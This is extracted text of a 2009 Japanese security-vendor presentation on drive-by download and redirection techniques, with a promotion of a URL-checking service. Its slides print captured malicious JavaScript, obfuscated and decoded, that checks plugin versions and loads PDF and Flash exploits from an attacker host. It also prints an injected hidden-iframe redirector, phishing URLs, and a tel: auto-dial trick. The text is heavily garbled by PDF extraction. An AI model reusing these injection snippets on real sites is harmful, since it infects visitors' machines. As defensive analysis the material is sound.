拡張子は「.php」であるが、中身はJavaScript shopping_cart.phpなど、いかにも利用されていそうな名前にされている 28 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(3/5) 誘導手法 Group1 Group1:悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルをアップロードされたウェブサイト 難読化されたスクリプトファイルをアップロードされたウェブサイト 29 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(4/5) 誘導手法 Group1 Group1:悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルをアップロードされたウェブサイト 難読化されたスクリプトファイルをアップロードされたウェブサイト アップロードされた悪意のあるファイル //<script> qdlT=24;if(unescape)qdlT='';XGB=unescape('%'+qdlT); var ih3Oo='dI6fc~75~6denk74.wriI74e(I22~3c~64i~76I20styl~…~74e(~22~3cI2fdiv~3eI22)I3b'; eval(unescape(ih3Oo.replace(/[~kI]/g,XGB))); function ttt(){return "BMCZDD3DDDDlDDrDUUrDD8nDDD…DDDss"} //</script> 難読化の解除結果 document.write("<div style=¥"position:absolute; left:-1000px; top:-1000px;¥">"); var zfQmm = null; try { zfQmm = new ActiveXObject(“AcroPDF.PDF”); } catch(e) {} if (!zfQmm) { try { zfQmm = new ActiveXObject(“PDF.PdfCtrl”); } catch(e) {} } if (zfQmm) { lv = ((zfQmm.GetVersions().split(","))[4].split("="))[1].replace(/¥./g, ""); if ((lv < 900) && (lv != 813)) document.write('<embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=2" width=100 height=100 type="application/pdf"></embed>'); }try { var zfQmm = 0; zfQmm = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$" + "version").split(","); } catch(e) {} if (zfQmm && (zfQmm[2] < 124)) document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100 align=middle> <param name="movie" value="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/><param name="quality" value="high"/> <param name="bgcolor" value="#ffffff"/><embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/></embed></object>'); 30 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(4/5) 誘導手法 Group1 Group1:悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルをアップロードされたウェブサイト 難読化されたスクリプトファイルをアップロードされたウェブサイト アップロードされた悪意のあるファイル //<script> qdlT=24;if(unescape)qdlT='';XGB=unescape('%'+qdlT); var ih3Oo='dI6fc~75~6denk74.wriI74e(I22~3c~64i~76I20styl~…~74e(~22~3cI2fdiv~3eI22)I3b'; eval(unescape(ih3Oo.replace(/[~kI]/g,XGB))); function ttt(){return "BMCZDD3DDDDlDDrDUUrDD8nDDD…DDDss"} //</script> 難読化の解除結果 document.write("<div style=¥"position:absolute; left:-1000px; top:-1000px;¥">"); var zfQmm = null; try { zfQmm = new ActiveXObject(“AcroPDF.PDF”); } catch(e) {} if (!zfQmm) { try { zfQmm = new ActiveXObject(“PDF.PdfCtrl”); } catch(e) {} } if (zfQmm) { lv = ((zfQmm.GetVersions().split(","))[4].split("="))[1].replace(/¥./g, ""); if ((lv < 900) && (lv != 813)) document.write('<embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=2" width=100 height=100 type="application/pdf"></embed>'); }try { PDF、Flash の脆弱性を利用した複数の マルウェアが準備されている。アクセスし } catch(e) {} た利用者の環境に合わせたマルウェア if (zfQmm && (zfQmm[2] < 124)) document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100 align=middle> の感染を行う var zfQmm = 0; zfQmm = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$" + "version").split(","); <param name="movie" value="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/><param name="quality" value="high"/> <param name="bgcolor" value="#ffffff"/><embed src="http://o0w0o.com/tmp/wedding.php?s=C4T8bL1r&id=3"/></embed></object>'); 31 不正コンテンツへの 不正コンテンツへの新 コンテンツへの新しい誘導手法 しい誘導手法(5/5) 誘導手法 Group2 Group2:スクリプトファイルを自動的 スクリプトファイルを自動的にダウンロードおよび 自動的にダウンロードおよび実行 にダウンロードおよび実行する 実行する難読化 する難読化されていない 難読化されていない HTMLコードがインジェクトされたウェブサイト HTML コードがインジェクトされたウェブサイト インジェクトされた不正コード <script src=http://xxx/xxx.php></script> ①のウェブサイトへのURLがインジェクトされる 特徴 Group1 Group1:悪意のある 悪意のある難読化 のある難読化されたスクリプトファイルをアップロードされたウェブサイ 難読化されたスクリプトファイルをアップロードされたウェブサイ トは、 HTMLコンテンツを コンテンツを改 ざんせず、 トは 、HTML コンテンツを 改ざんせず 、ファイルをアップロードするのみ HTMLコンテンツを コンテンツを解析 解析しても しても、 検知できない HTML コンテンツを 解析 しても 、検知 できない Group2 Group2:スクリプトファイルを自動的 スクリプトファイルを自動的にダウンロードおよび 自動的にダウンロードおよび実行 にダウンロードおよび実行する 実行する難読化 する難読化されてい 難読化されてい ないHTML HTMLコードがインジェクトされたウェブサイト ない HTML コードがインジェクトされたウェブサイト 難読化などの 難読化などの特徴 などの特徴がないため 特徴がないため、 がないため、判断が 判断が困難 Group1 Group1、2とも正規 とも正規のサイトであるため 正規のサイトであるため、 のサイトであるため、ブラックリストでは判断 ブラックリストでは判断が 判断が困難 32 Group1 Group1、2の両方の 両方の特徴を 特徴を備えたウェブサイトも存在 えたウェブサイトも存在する 存在する 不正コンテンツへの最新の誘導テクニック ‐難読化されたコードのinjectによる誘導 ‐SEOや多段ネットワークを利用した誘導 ‐複合型 ‐フィッシング・ワンクリック 33 SEOや多段ネットワークを利用した誘導(1/4) 2009年 2009年9月サモアの地震 サモアの地震に 地震に便乗した 便乗したbogusware したboguswareや boguswareやmalware配信 malware配信サイト 配信サイト SEO( SEO(Search engine optimization) optimization)の最適化により 最適化により、 検索結果の上位に 上位に表示され 表示され多 により、検索結果の され多くのユ ーザを誘導 ーザを 誘導 HTTPStatusCode 302を 302を返答し 返答し多段の 多段のRedirectorを Redirectorを経由させ 経由させ、 させ、悪意のあるサイトに 悪意のあるサイトに誘導 のあるサイトに誘導 HTTP referrerを referrerを確認し 確認し、検索エンジンからの 検索エンジンからの検索結果 エンジンからの検索結果からのみアクセス 検索結果からのみアクセス可能 からのみアクセス可能 referrer: referrer: HTTPヘッダの HTTPヘッダの1 ヘッダの1つで、 つで、インターネット上 インターネット上の1つのウェブページまたはリソースから見 つのウェブページまたはリソースから見て、それにリンクしているウェブページやリソー スのアドレスを指 スのアドレスを指す。リファラを参照 リファラを参照することで どこからそのページに要求が たのかを知ることができる。 ることができる。 参照することで、 することで、どこからそのページに要求 要求が来たのかを知 フリー百科事典 百科事典『『ウィキペディア ウィキペディア((Wikipedia Wikipedia))』より フリー 百科事典 検証では http://search.yahoo.com/ではリダイレクトされず ではリダイレクトされず、 検証ではhttp://search.yahoo.com/ ではhttp://search.yahoo.com/ ではリダイレクトされず、 http://search.yahoo.com/search?p=&toggle=&cop=&ei= p=&toggle=&cop=&ei=ではリダイレクトを ではリダイレクトを確認 http://search.yahoo.com/search? p=&toggle=&cop=&ei= ではリダイレクトを 確認 多段のネットワークを 多段のネットワークを構成 のネットワークを構成 Redirector afmissileers.com… 34 0a3.ru/t.php Redirector mymy-gardengarden-state.com/… bogusware computercomputer-scanner02.com… SEOや多段ネットワークを利用した誘導(2/4) 多段のネットワークを 多段のネットワークを構成 のネットワークを構成による 構成による誘導 による誘導 同じPCからアクセスしても PCからアクセスしても、 からアクセスしても、異なる攻撃者 なる攻撃者ウェブサイトに 攻撃者ウェブサイトに誘導 ウェブサイトに誘導されることがあった 誘導されることがあった Samoa Redirector tsunami afmissileers.com… 35 0a3.ru/t.php Redirector mymy-gardengarden-state.com/… bogusware computercomputer-scanner02.com… SEOや多段ネットワークを利用した誘導(2/4) 多段のネットワークを 多段のネットワークを構成 のネットワークを構成による 構成による誘導 による誘導 同じPCからアクセスしても PCからアクセスしても、 からアクセスしても、異なる攻撃者 なる攻撃者ウェブサイトに 攻撃者ウェブサイトに誘導 ウェブサイトに誘導されることがあった 誘導されることがあった Samoa Redirector tsunami afmissileers.com… 0a3.ru/t.php Redirector mymy-gardengarden-state.com/… bogusware computercomputer-scanner02.com… 最新の事件、事 故等のニュース <推測> 36 新しいキーワードにて誘導する際に、既存の 多段ネットワークを利用できる SEOや多段ネットワークを利用した誘導(2/4) <推測> 多段のネットワークを 多段のネットワークを構成 のネットワークを構成による 構成による誘導 による誘導 ブラックリストに指定されても、他の経路 同じPCからアクセスしても PCからアクセスしても、 からアクセスしても、異なる攻撃者 なる攻撃者ウェブサイトに 攻撃者ウェブサイトに誘導 ウェブサイトに誘導されることがあった 誘導されることがあった にて誘導できる Samoa Redirector tsunami Redirector bogusware × afmissileers.com… 0a3.ru/t.php mymy-gardengarden-state.com/… computercomputer-scanner02.com… 最新の事件、事 故等のニュース <推測> 37 新しいキーワードにて誘導する際に、既存の 多段ネットワークを利用できる SEOや多段ネットワークを利用した誘導(3/4) LocationにてRedirectorを指定 38 SEOや多段ネットワークを利用した誘導(4/4) ブラウザ上 ブラウザ上にあたかも利用 にあたかも利用PC 利用PCをウイルススキャンしているかのようなアニメーションが PCをウイルススキャンしているかのようなアニメーションが表 をウイルススキャンしているかのようなアニメーションが表 boguswareをインストールするよう をインストールするよう促 される( JavaScriptにて にて作成 作成) れ、 bogusware をインストールするよう 促される (JavaScript にて 作成 ) 39 不正コンテンツへの最新の誘導テクニック ‐難読化されたコードのinjectによる誘導 ‐SEOや多段ネットワークを利用した誘導 ‐複合型 ‐フィッシング・ワンクリック 40 Webサイト改ざんによる不正サイトへの誘導[Nine Ball](1/2) 通称Nine 通称Nine Ballウイルス Ballウイルス( ウイルス(Gumblarウイルスの Gumblarウイルスの亜種 ウイルスの亜種) 亜種) HTTPStatusCode 302を 302を返答し 返答し多段の 多段のRedirectorを Redirectorを経由させ 経由させ、 悪意のあるサイトに誘導 させ、悪意のあるサイトに のあるサイトに誘導 正規の 正規のWebサイトを Webサイトを改 サイトを改ざんし、 ざんし、そのサイトを閲覧 そのサイトを閲覧すると 閲覧すると自動的 すると自動的に 自動的に不正なサイトに 不正なサイトに誘導 なサイトに誘導する 誘導する 不正サイトはマルウェアを 不正サイトはマルウェアを配信 サイトはマルウェアを配信 Acrobat Readerや ReaderやQuickTimeなどの QuickTimeなどの脆弱性 などの脆弱性を 脆弱性を突いてトロイの木馬 いてトロイの木馬をインストールし 木馬をインストールし、 をインストールし、ユーザーの 個人情報を dllファイル ファイル「 SOCKET2」 Windowsのシステムフォルダにダウンロードする 個人情報 を盗むdll ファイル 「SOCKET2 」をWindows のシステムフォルダにダウンロードする 改ざん( ざん(追加されたコード 追加されたコード) されたコード)は難読化されており 難読化されており、 されており、検知や 検知や解析を 解析を困難とする 困難とする 正規サイト 正規サイト 41 Redirector Redirector Redirector bogusware rnw.kz bro.tw rmi.tw ninetoraq.in Webサイト改ざんによる不正サイトへの誘導[Nine Ball](2/2) 難読化されたコードを 難読化されたコードを解除 されたコードを解除することで 解除することで、 することで、挙動を 挙動を解析 改ざん(inject)コード var hdOruVsHnKBXZuvtsRmw = “z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116 … 111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z109z101z62"; var kWiFaYwHrXtZBIQvdJDR = hdOruVsHnKBXZuvtsRmw.split("z"); var TEptzkmsBZolwWqWunem = ""; for (var KYLMhcILlLcFQRyPBlHD=1; KYLMhcILlLcFQRyPBlHD<kWiFaYwHrXtZBIQvdJDR.length; KYLMhcILlLcFQRyPBlHD++){ TEptzkmsBZolwWqWunem+=String.fromCharCode(kWiFaYwHrXtZBIQvdJDR[KYLMhcILlLcFQRyPBlHD]); } document.write(TEptzkmsBZolwWqWunem) iframeダグに「 http://rnw.kz/index.php」 が設定され自動的に悪意のサイト(コン 難読化の解除結果 <iframe width="480" height="60" src="http://rnw.kz/index.php" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe> 42 テンツ)を実行 不正サイト検知対策を施したサイト Null文字 Null文字(0x00 文字(0x00) (0x00)が埋め込まれている Null文字 Null文字( 文字(0x00) 0x00)を埋め込むことで、 むことで、コンテンツ比較 コンテンツ比較による 比較による検知 による検知や 検知や解析を 解析を困難とさせる 困難とさせる IEの IEの仕様では 仕様では、 では、0x00~ 0x00~0x1f, 0x7f などの制御文字 などの制御文字は 制御文字は無効とされるため 無効とされるため、 とされるため、問題なく 問題なく動作 なく動作する 動作する ※ Firefox( Firefox(Ver3.5) Ver3.5)ではエラーとなる Null文字(0x00)が埋め込まれたサイト a le r t ( ' a b c ! ! !'); document.w r ite ( ' < i f r a m e s r c = " h tt p: / / w w w . y a h o o.co.jp"></iframe>'); ※Null文字(0x00)をスペースとして表示 IEでは alert('abc!!!'); document.write('<iframe src="http://www.yahoo.co.jp"></iframe>'); IEではNull文字(0x00)を無視するため 不正サイトに誘導される 43 不正コンテンツへの最新の誘導テクニック ‐難読化されたコードのinjectによる誘導 ‐SEOや多段ネットワークを利用した誘導 ‐複合型 ‐フィッシング・ワンクリック 44 Phishingサイト(1/4) 本物のサイトドメインに 本物のサイトドメインに似 のサイトドメインに似たドメインを取得 たドメインを取得している 取得している 本物のコンテンツに 本物のコンテンツに酷似 のコンテンツに酷似したコンテンツとなっている 酷似したコンテンツとなっている いくつかは現在 いくつかは現在でも 現在でも運用 でも運用されている 運用されている Microsoftのドメインに似せたフィッシングサイト hxxp://update.microsoft.com.11hilf.com/microsoftofficeupdate/isapdl/default.aspx/officexp11hilf.com/microsoftofficeupdate/isapdl/default.aspx/officexp-KB910721KB910721-FullFileFullFile-ENU.exe アメリカ合衆国内国歳入庁(The Internal Revenue Service) hxxp://www.irs.gov. juhh1wh.com/fraud_application/directory/[email protected]&tid=cc-00000174073547US xxp://www.irs.gov.juhh1wh.com/fraud_application/directory/[email protected]&tid=cc Yahoo Phishing hxxp://pistauctionsmaniuari.100megsfree8.com/yahooyahoo-actions.co.jp/index.htm PlayOnline Phishing hxxp://www.playonline.tc/ 45 Phishingサイト(2/4) 46 Phishingサイト(3/4) 47 Phishingサイト(3/4) 48 Phishingサイト(4/4) 49 携帯向けワンクリックサイト 携帯電話向けサイト 携帯電話向けサイト 提供コンテンツを 提供コンテンツを利用 自動的に指定された 指定された番号 発信する コンテンツを利用すると 利用すると同時 すると同時に 同時に、自動的に された番号に 番号に発信する 「186」 186」は強制的に 強制的に自分の 自分の携帯番号を 携帯番号を通知する 通知する 携帯番号が 携帯番号が収集され 収集され、 され、悪徳業者等から 悪徳業者等から連絡 から連絡や 連絡や振り込め詐欺等につかわれる 詐欺等につかわれる 仕掛けられたコード <a href="tel:1860367389015"> <font color="red">【再生する】</font> </a> tel:は携帯電話から自動的に発信する コード ②仕掛けられた電話番号に186発信 ①コンテンツクリック 【再生する】 50 最新の不正サイト検知技術 51 最新の不正サイト検知技術 基本的にブラックリストを 基本的にブラックリストを利用 にブラックリストを利用せず 利用せず、 せず、現状のコンテンツを 現状のコンテンツを検査 のコンテンツを検査 ヒューリスティックエンジンにより、 ヒューリスティックエンジンにより、調査した 調査したURL したURLが URLが不正なものであるか 不正なものであるか否 なものであるか否か検査 難読化されたコードにも 難読化されたコードにも対応 されたコードにも対応 実行ファイルにも 実行ファイルにも対応 ファイルにも対応 gredでチェック gredでチェック http://www.*******.co.jp/ http://www.gred.jp/ ②自動検査 ①URL入力 http://www.*******.co.jp/ ③結果 52 ウェブコンテンツの収集 指定URL 指定URLコンテンツをダウンロード URLコンテンツをダウンロード script/frame/iframeなど script/frame/iframeなど、 関連するファイルをまとめて検査 など、関連するファイルをまとめて するファイルをまとめて検査 実行ファイル 実行ファイル( ファイル(.exe/.pdf/.src/.swf etc) etc)もダウンロード xyz.js HTML <script src= http://xyz.js > <html> <head> <iframe src=“...”> http://abc.html </iframe> abc.html <a href=“cache/readme.exe”></iframe> <html> <head> (function(){var x8fk='%';var xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion… バイナリファイル ‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥) |&/ig, ‘’) 53 難読化コードへの対策 JavaScript エミュレーション JavaScriptエンジンにて JavaScriptエンジンにてJavaScript エンジンにてJavaScriptファイルを JavaScrip JavaScriptファイルを実行 ファイルを実行し 実行し、document.writeや document.writeやeval関数 eval関数をフックするこ 関数をフックするこ とで、 難読化前のコードを のコードを取得 取得する とで 、難読化前 のコードを 取得 する JavaScript構文解析 JavaScript構文解析 JavaScriptの JavaScriptの構文を 構文を解析し 解析し、難読化前のコードを 難読化前のコードを取得 のコードを取得する 取得する HTML (function(){var x8fk='%';var xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion… ‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’) <<Dynamic JavaScript Emulation log>> <iframe src=“...”>http://STO.html</iframe> <iframe src=“...”>http://SSS.html</iframe> <<Static JavaScript Emulation log>> ‘Program Files’ 54 検知ロジック(1/2) マージしたファイルとヒューリスティックルールをマッチング 関連するファイル 関連するファイル、 するファイル、難読化されたコード 難読化されたコード、 されたコード、難読化を 難読化を解除したコードすべてを 解除したコードすべてを検査対象 したコードすべてを検査対象 検知ルールにより 検知ルールにより問題 ルールにより問題( 問題(被害) 被害)のカテゴリも分析 のカテゴリも分析 HTML <script src= http://xyz.js > <html> <head> 検知ルール <iframe src=“...”> http://abc.html </iframe> フィッシング <html> <head> ワンクリック <a href=“cache/readme.exe”></iframe> 偽ソフトウェア (function(){var x8fk='%';var xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion… ヒューリスティックルール 不正攻撃 不正改ざん ウイルス ‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’) ワーム スパイウェア マルウェア <<Dynamic JavaScript Emulation log>> <iframe src=“...”>http://STO.html</iframe> <iframe src=“...”>http://SSS.html</iframe> <<Static JavaScript Emulation log>> 55 ‘Program Files’ 検知ロジック(2/2) 実行ファイル 実行ファイル等 ファイル等は独自解析エンジンにて 独自解析エンジンにて解析 エンジンにて解析 各項目に 各項目に合致するか 合致するか判定 するか判定し 判定し、スコア合計 スコア合計と 合計と閾値を 閾値を比較することで 比較することで正否判定 することで正否判定 デジタル署名 デジタル署名: 署名:デジタル署名 デジタル署名の 署名の有無 アンチデバッキングコード: アンチデバッキングコード:使用IAT 使用IAT( IAT(Import Address Table) Table)内のアンチデバッキングコード の有無 パッカー: パッカー:パッカーによってパックされているか否 パッカーによってパックされているか否か 使用API 使用API: API:使用IAT 使用IAT内 IAT内で不正プログラムがよく 不正プログラムがよく利用 プログラムがよく利用する 利用するAPI するAPIが APIが含まれているか否 まれているか否か 実行ファイル 実行ファイル静的解析 .exe/.src etc 56 不正 or 正常 最近の統計情報 2009年 2009年11月 11月4日現在 gred検索統計情報 gred検索統計情報 チェックしたURL:7,689,248 チェックしたURL:7,689,248件 URL:7,689,248件(問題のある 問題のあるURL のあるURL: URL:73,206件 73,206件) 最近( 最近(5~9月)までの統計情報 までの統計情報 57 まとめ 不正コンテンツへの 不正コンテンツへの最新 誘導テクニック コンテンツへの最新の 最新の誘導テクニック JavaScriptの JavaScriptの難読化 SEOを SEOを利用したサイト 利用したサイト誘導 したサイト誘導 多段のネットワークや 多段のネットワークやreferrer のネットワークやreferrer管理 referrer管理による 管理による誘導 による誘導 正規のサイトを 正規のサイトを踏 のサイトを踏み台にした誘導 にした誘導 最新の 最新の不正サイト 不正サイト検知技術 サイト検知技術 難読化の 難読化の解除 リアルタイムのコンテンツ収集 リアルタイムのコンテンツ収集 ヒューリスティックによる検知 ヒューリスティックによる検知 58 gredでチェック http://www.gred.jp/ 59 gredでチェック http://www.gred.jp/ h w 60 gredセキュリティサービス 登録されているURLに改ざんがあった場合、トップページの「SAFE」の緑のマークが「改ざんを発見」の赤のマークに 変化します。また、アラート用に登録されたメールアドレスに改ざん発見の通知が届きます。詳細はそのメールに記 載されているURLをクリックするか、トップページのカレンダーの赤い「×」アイコンをクリックすると確認していただけ ます。 ■ウェブ解析管理コンソールTOPページ(改ざんを検知した場合) ■詳細ページ 61 ご静聴ありがとうございました 2009年11月 株式会社セキュアブレイン 62 63
© Copyright 2024 ExpyDoc